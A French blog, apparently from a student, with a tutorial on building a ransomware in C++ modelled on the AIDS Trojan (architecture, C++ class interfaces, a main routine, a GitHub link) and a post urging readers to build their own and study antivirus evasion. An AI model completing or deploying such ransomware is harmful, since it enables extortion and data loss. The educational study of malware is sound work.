Comment développer un ransomware en C++: Le cas AIDS Trojan

Dans mon précédent blog, je vous ai donné les raisons pour lesquelles j’ai développé un ransomware. Dans celui-ci, nous voir comment développer un ransomware en C++.

DISCLAIMER: Je tiens à préciser que ce tutoriel ne doit en aucun cas servir à développer un virus dans le but de nuire à quiconque.

Comment développer un ransomware en c++
Comment développer un ransomware en C++

Pour cela, nous allons nous baser sur l’exemple de AIDS Trojan. Mais alors, qu’est que AIDS Trojan ?

AIDS Trojan

AIDS Trojan ou PC Cyborg Trojan est considéré comme le premier ransomware de l’histoire. Il a été créé par Dr. Joseph L. Popp biologiste évolutionniste provenant d’Harvard. On estime que ce ransomware a fait des victimes dans plus de 90 pays dans le monde à partir de décembre 1989.

Il s’appelle AIDS (ou SIDA en français) car ce ransomware a été diffusé par des disquettes devant contenir un « cours » d’introduction d’information sur le SIDA.

Ses cibles étaient principalement des abonnés de magasines de « World Health Organization AIDS conference » et « PC Business World ».

C’est la victime elle-même qui va exécuter ce logiciel malveillant en même temps que le programme d’informations sur le SIDA.

AIDS Trojan est une attaque différée, c’est-à-dire qu’il attend ce qu’on appelle une bombe logique afin de se déclencher. La bombe logique de AIDS Trojan est un nombre de boot détecté depuis son installation (typiquement 90).

Une fois AIDS Trojan installé, le virus ne va pas directement chiffrer les fichiers. Il va d’abord infecter le disque C et détourner le script « AUTOEXEC.BAT ». Ce script était le fichier de lancement utilisé dans les versions Windows de l’époque (Windows 1.0 – 2.11). Le système d’exploitation exécutait ce programme après chaque démarrage.

Le 90ème boot va déclencher l’exécution du code malveillant qui va chiffrer certains noms des fichiers sur le disque. Une fois les fichiers chiffrés, un message était affiché à l’utilisateur lui exigeant de verser une rançon pour pouvoir recouvrer ses données.

Message affiché par AIDS Trojan

Développer un ransomware en C++

Avant toute implémentation, nous devons tout d’abord concevoir notre application. Cela passe par l’architecture de notre application et les choix des technologies à utiliser.

AIDS Trojan était un malware destiné aux machines Windows des années 90 comme mentionné plus haut. Bien évidemment il est très difficile de nos jours de trouver des machines avec ces OS. Nous allons donc implémenter ce même virus sur les machines Windows 10 (x64).

Technologies

Les technologies utilisées pour l’implémentation sont:

  • Langage de programmation : C/C++ (c++17)
  • Librairies utilisées : standard, windows, openssl
  • Compilateur: Microsoft Visual Studio Compilator 2022 (MVSC)
  • IDE: Qt Creator
  • Gestion des dépendances: vcpkg

Nous allons utiliser des librairies standard et natives telles que celle de windows pour du développement windows et les fonctions du standard pour la gestion des systèmes de fichiers. Openssl est utilisé pour le chiffrement.

Comme algorithme de chiffrement, nous avons décidé d’utiliser AES avec une clé de 128 bits.

Le gestionnaire de dépendances « vcpkg » permet une gestion automatisée des dépendances en téléchargeant automatiquement les bibliothèques dont nous avons besoin pour notre projet. De plus, cela permet d’avoir les versions adaptées à notre architecture ou l’architecture à destination de laquelle on souhaite compiler notre code (x64).

J’écrirai un tutoriel afin de montrer comment mettre en place tout cet environnement de développement.

Architecture

Architecture du programme

Dans cette architecture, chaque classe joue un rôle spécifique. Nous avons voulu faire une architecture simple et facilement compréhensible en suivant quelques règles de développement comme :

  • La séparation des responsabilités
  • L’inversion de dépendance

En effet, chaque classe joue un rôle précis et fait une tâche. Les classes dans “service” sont là où on retrouve notre code métier. « FolderService » a pour rôle de lister tous les fichiers à chiffrer et exclus les fichiers systèmes ou les exécutables, les dll, etc….

AESEncryptor est le service qui chiffre et déchiffre les noms des fichiers.

Afin de pouvoir renommer les fichiers sans avoir d’erreurs liés au caractères spéciaux qui ne sont pas acceptés, nous avons choisi d’encoder les noms des fichiers en hexadécimal.

La classe ScreenBlocker dans « view » est la classe chargée de d’afficher le message de ransomware à l’utilisateur avec le champ pour la clé de déchiffrement.

Etant donné que nous n’avons pas beaucoup de classes, nous n’avons pas trouvé nécessaire d’avoir une classe Controller et avons tout mis dans la classe « main ».

Implémentation

Nous allons dans cette partie implémenter chaque classe de la solution en commençant par les classes de service.

Les services

La classe EncryptorService est une interface pour tout service de chiffrement que nous avons mis en place. Nous l’avons définie comme suit:

class EncryptorService {
protected:

public:

    EncryptorService() {}

    virtual std::string encrypt(std::string message) = 0;

    virtual void encryptFilesIn(std::filesystem::path rootPath) = 0;

    virtual std::string decrypt(std::string ciphertext) = 0;

    virtual void decryptFilesIn(std::filesystem::path rootPath) = 0;

    virtual std::filesystem::path getRootPath() const = 0;

    virtual ~EncryptorService() {}
};

Un service de chiffrement va donc utiliser le service “FolderService” afin de lister tous les fichiers à chiffer puis les chiffrer. Nous avons ici l’exemple de AESEncryptor défini comme suit:

#include "EncryptorService.h"

class AESEncryptor: public EncryptorService {
private:
    std::string iv;
    std::string key;

public:
    // Constants
    static const std::string ENCRYPTED_FILES_EXTENSION;
    static const std::string KEY;
    static const std::string IV;

    AESEncryptor(const std::string &iv, const std::string &key);
    std::string encrypt(std::string plaintext) override;
    void encryptFilesIn(std::filesystem::path rootPath) override;
    std::string decrypt(std::string ciphertext) override;
    void decryptFilesIn(std::filesystem::path rootPath) override;
    std::filesystem::path getRootPath() const override;
    ~AESEncryptor() override;
};

Le service “FolderService” définit quant à lui les fonctions suivantes:

#include <vector>
#include <filesystem>
#include <string>

class FolderService {
protected:
    std::filesystem::path rootPath;
    std::vector<std::string> m_exclude_paths;

public:
    const std::filesystem::path DEFAULT_ROOT_FOLDER = "C:\\test";
    FolderService();
    FolderService(std::filesystem::path rootFolder);
    void initializeExcludedFilesAndFolders();
    void getFiles(const std::filesystem::path rootPath, std::vector<std::filesystem::path>* fileList, bool isEncryption);
    void getFiles(std::vector<std::filesystem::path>* fileList, bool isEncryption);
    void renameFileName(std::filesystem::path filePath, std::string newFileName);
    bool is_excluded(std::string path, bool isEncryption);
    std::filesystem::path getRootPath() const;
    virtual ~FolderService();
};

L’interface

L’interface est la classe qui implémente l’interface graphique à afficher à l’utilisateur une fois tous les fichiers chiffrés. Nous avons dans ce cas utilisé les fonctions natives de la bibliothèque windows.

class ScreenBlocker {

public:
    ScreenBlocker();

    void blockScreen();

    virtual ~ScreenBlocker();
};

Main

Enfin, le main dans notre cas joue le rôle d’un service mettant tous les éléments ensemble, initialise les variables globales et appelle les services les uns à la suite des autres.

#include <iostream>
#include <string>
#include <conio.h>
#include "service/EncryptorService.h"
#include "service/AESEncryptor.h"
#include "view/ScreenBlocker.h"

using namespace std;
using namespace std::filesystem;

int main (){
    cout << "****************** AIDS TROJAN ******************" << endl;

    ScreenBlocker screenBlocker;
    EncryptorService* encryptorService = new AESEncryptor(AESEncryptor::KEY, AESEncryptor::IV);

    encryptorService->encryptFilesIn(encryptorService->getRootPath());

    screenBlocker.blockScreen();

    encryptorService->decryptFilesIn(encryptorService->getRootPath());

    delete encryptorService;
    encryptorService = NULL;
    return 0;
}

Dans cette implémentation, nous avons décidé de ne mettre que les interfaces des classes sauf le main afin de montrer la conception. Ces interface pourront être implémentées en utilisant des bibliothèques au choix.

Vous trouverez le code complet sur mon dépôt github: https://github.com/MesminN/AIDS_Trojan

AIDS Trojan étant un ancien ransomware, lorsqu’on l’implémente tel quel dans le contexte actuel, c’est un virus facilement détectable voire éradicable car il a un principal défaut qu’est le chiffrement symétrique.

En effet, dans un chiffrement symétrique, la même clé est utilisée pour chiffré et pour déchiffrer ce qui rend compliqué le fait cacher la clé car si on l’intègre au code comme dans notre cas, une simple décompilation avec un outil comme ghidra ou Ida permet de retrouver la clé de déchiffrement.

C’est pour cela que quasiment tous les ransomwares de nos jours utilisent le chiffrement asymétrique afin de générer la clé symétrique leur permettant de chiffrer de grands volumes de données, ce qui nous emmène à notre article suivant: Comment développer un ransomware en C++: L’exemple CryptoLocker

Pourquoi développer un ransomware: #3 raisons de vous lancer!

Chaque semaine quasiment, nous entendons parler d’attaques cyber en France. L’attaque la plus redoutée étant: le ransomware ou rançongiciel en français.

Des hôpitaux et universités sont les plus souvent touchés. L’exemple du centre hospitalier de Corbeille-Essonnes est l’un des plus parlant. Attaque d’ailleurs revendiquée par le groupe Lockbit sur son site du Darknet.

Mais alors, pourquoi développer un ransomware ?

pourquoi développer un ransomware
Qu’est-ce qu’un ransomware ?

Dans cet article, je vais vous donner les raisons qui m’ont poussé à développer un ransomware. Peut-être que vous avez été attiré par cet article par pure curiosité. Une chose est sûre, vous aller en sortir vous aussi avec une envie de développer votre propre ransomware.

Mais avant de vous convaincre, définissons ce qu’est un ransomware.

Un ransomware : quésaco?

Un ransomware est un type de programme malveillant (malware) spécifique. Son objectif est de rendre inexploitables les données d’une machine en les chiffrant. Une fois ces données chiffrées, l’attaquant réclame une rançon afin de faire parvenir la clé de déchiffrement à la victime.

En termes de sécurité, les services impactés sont : l’intégrité et la disponibilité.

Il existe plusieurs autres types de malwares dont les backdoor, les stealers, les rootkit…

L’histoire des ransomwares

Mille neuf cent quatre-vingt-neuf (1989). C’est l’année où on estime qu’a eu lieu la première cyberattaque par ransomware.

Pour rappel, un logiciel malveillant qui chiffre les données d’une machine le rendant inutilisable et demande une rançon afin de de débloquer.

Cette première attaque a utilisé un cheval de Troie et a visé environ 90 pays et s’est propagée à travers des disquettes (environ 20 000 disquettes). Elle a eu un impact assez limité du fait de la faible interconnectivité des ordinateurs à l’époque. De plus, les ordinateurs étaient encore des outils destinés aux experts scientifiques et technologiques.

Entre temps, les technologies informatiques ont évolué et l’usage des ordinateurs s’est démocratisé. Les ordinateurs sont un élément incontournables des systèmes d’information des entreprises. De plus, avec l’importance qu’a pris internet, les ordinateurs et mobiles sont de plus en plus interconnectés.

Ce changement de paradigme a entraîné une évolution des types de ransomwares ou rançongiciels en français. Ceux-ci sont de plus en plus complexes et ont des impacts dévastateurs pour leurs victimes.

C’est autour des années 2005 qu’a été repérée une première vague d’attaques. Elle était dissimulée sous l’apparence de logiciels légitimes tels que les programmes d’optimisation et de nettoyage de disques. Ensuite nous avons eu les faux anti-virus puis les locker et sa variante la plus connue, CryptoLocker en 2012.

Les attaques par ransomware peuvent avoir des impacts financiers très importants. En 2017, Wannacry paralysait des entreprises et administrations. En quelques heures, il a infecté environ 300 000 ordinateurs et a réclamé une rançon de 300 dollars chacun.

De plus, ces attaques rentrent de plus en plus dans des contextes de cyber guerres avec les Advanced Persistent Threat (APT). Ceux-ci sont parfois soutenus par des états. Leur but étant de déstabiliser les infrastructures clés d’un pays ennemi. On remarque donc une tendance à la structuration des cybercriminels comme des organisations classiques.

Chronologie des ransomwares

Pourquoi développer un ransomware

C’est normalement à ce moment du blog que je passe aux aveux et avoue ma secrète et sombre envie de nuire aux autres. Mon envie d’extorquer de l’argent aux entreprises et aux particuliers en leur réclamant une belle rançon. Rançon, qui d’ailleurs devrait être versée sur mon compte caché au Panama.

Mais la raison est plus simple que cela et se résume en un mot : « la curiosité ». Cette curiosité a trois (3) principales raisons qui sont les suivantes et que je détaillerai plus bas :

  • La compréhension des programmes malveillants
  • Les mécanismes de contournement des outils de détection ou techniques d’obfuscation
  • Les contre-mesures et outils de détection et d’éradication

Développons chacune de ces raisons afin que vous compreniez mieux les motivations derrière chaque raison. Mon objectif est double. Non seulement je veux vous faire comprendre mais également vous convaincre d’en faire autant. Si vous débutez en cyber, cela peut vous guider quant aux projets à réaliser.

En plus de ces trois (3) raisons, j’ajouterai que la connaissance des malwares en cyber est une compétence clé. Elle ouvre la porte à plusieurs types de métiers notamment ceux d’analystes.

Nous aborderons certains de ces métiers vers la fin l’article.

Compréhension des programmes malveillants

Nous avons tous déjà entendu la citation suivante « Practice makes perfect ». Autrement dit, c’est en s’exerçant que l’on devient meilleur. C’est donc la première raison pour laquelle j’ai développé un ransomware, c’est-à-dire “pratiquer”.

Et bien que l’on sache globalement ce qu’est un virus, un malware ou un ransomware, en développer un est une autre histoire. Le fait d’en développer permet de réaliser à quel point cela peut s’avérer être un exercice complexe. Surtout lorsqu’on souhaite avoir un programme sophistiqué, capable d’échapper à quelques antivirus.

C’est donc pour cela que lorsque cette idée de projet nous a été soumise dans un cours de hacking, j’ai sauté dessus avec mon collègue Corentin V.

Techniques d’obfuscation

Comme nous allons le voir dans les prochains blogs, la question de l’obfuscation est arrivée très rapidement dans le développement du ransomware.

Pour rappel, l’obfuscation est le fait de complexifier la compréhension du comportement d’un programme par la simple lecture du code.

Nous nous sommes rendu compte d’une chose une fois la première version du ransomware développée. En effet, elle était facilement détectée comme virus par l’antivirus de windows. Cependant, nous avons tout de même constaté qu’environ 87 % des antivirus (de VirusTotal) ne le détectaient pas systématiquement.

Ainsi, la compréhension des techniques d’obfuscation est primordiale. D’autant plus lorsque nous souhaitons travailler dans un contexte de détection, confinement et d’éradication des malwares.

En effet, les attaquants vont essayer de cacher le comportement de leur programme malveillant afin de passer les outils tels que les antivirus.

La compréhension de ces techniques nous permet donc de développer des contre-mesures et outils afin de détecter ces malwares.

Techniques de détection et d’éradication

Comme énoncé plus haut, développer un ransomware nous permet d’en apprendre davantage sur les outils de détection. Cela nous pousse à nous renseigner sur comment fonctionnent ces outils afin de les contourner.

Dans les articles de blog à venir, nous parlerons aussi de ces outils. Surtout des techniques utilisées pour détecter un programme malveillant notamment les analyses statiques et dynamiques de programmes.

En effet, lorsqu’on développe des outils de détection et de prévention des malwares, on se base sur deux choses :

  • Leur structure
  • Leur comportement

La compréhension ou connaissance de la structure permet de déterminer si le programme est malveillant ou pas.

Cela est souvent fait à travers l’analyse statique qui consiste à analyser le code sans l’exécuter. Ghidra est par exemple un outil d’analyse statique très connu, développé par la NSA (Agence Nationale de Sécurité).

Par moment, la seule lecture du code ne suffit pas à bien en comprendre les effets sur la machine. Dans ces cas, en plus de l’analyse statique, la compréhension du comportement d’un programme devient indispensable. Cela va nous permettre de savoir si ce programme est malveillant ou pas.

Ainsi, on réalise une analyse dynamique du binaire. Cette analyse se fait en exécutant le programme. Pour cela, on utilise un débogueur et on inspecte instruction par instruction le comportement du programme.

Bien souvent, cela se fait dans un environnement isolé. Nous avons par exemple des débogueurs connus tels que : Immunity Debugger et WinDbg.

Les métiers autour des malwares

Il existe plusieurs types de métiers cyber où on traite de malwares. Cela va de leur développement au développement des outils permettant de les contrer, aux métiers visant à comprendre leur fonctionnement.

Dans cette partie je vais m’attarder sur les métiers d’analystes de programmes malveillants. C’est ce qu’on appelle le “reverse engineering”. J’évoquerai aussi les métiers du développement des outils de protection contre les malwares.

Commençons par le reverse engineering. Cela nécessiterait un article en entier mais globalement, le reverse engineering ou en français « rétro-ingénierie » consiste à étudier un objet (un programme malveillant dans notre cas ) et à en comprendre le comportement.

On qualifie d’ “analystes” les personnes dont le rôle est d’analyser le binaire. Les analyses bien souvent ne disposant pas du code source, doivent analyser les binaires.

Pour cela, ils commencent par « désassembler » le binaire, c’est-à-dire retrouver le code assembleur à partir du binaire. Ils utilisent des outils dont nous avons parlé plus haut d’analyses statique et dynamique.

Nous comprenons donc que pour ce métier, il faut non seulement avoir des compétences en programmation mais également maîtriser l’assembleur. L’assembleur étant un langage bas niveau manipulant directement les instructions CPU et la mémoire physique.

L’autre type de métier sur lequel je voulais mettre la lumière est celui de concepteur de solutions de protection contre les malwares.

J’ai bien utilisé le terme “concepteur” car théoriquement, il n’est pas obligatoire de savoir développer pour concevoir une solution de protection.

Connaissant les techniques utilisées par les attaquants pour rendre difficilement détectables leurs programmes, nous pouvons concevoir des outils de détection. Savoir programmer reste tout de même une condition importante.

En effet, dans les faits, savoir développer est bien souvent requis pour ces métiers. Il serait dommage de développer des solutions de protection qui sont elles-mêmes vulnérables et donc ne serait pas d’une grande utilité à ses clients.

Il existe d’autres métiers pouvant être reliés aux malwares de près ou de loin. Les métiers d’analystes SOC (Security Operation Center) et de forensique en sont un exemple. Nous ne nous attarderons pas dessus dans cet article.

En somme, vous aurez compris que les raisons pour lesquelles j’ai développé un ransomware sont surtout d’ordre pédagogique. Le fait de développer un ransomware représente donc l’occasion d’apprendre sur tout un pan de la cyber que nous allons découvrir peu à peu dans les articles à venir.

N’hésitez pas à me dire en commentaire ce que vous pensez de la démarche. Quels autres projets jugez vous intéressants pour apprendre sur les malwares ?

Continuez en lisant comment développer un ransomware avec l’exemple de AIDS Trojan.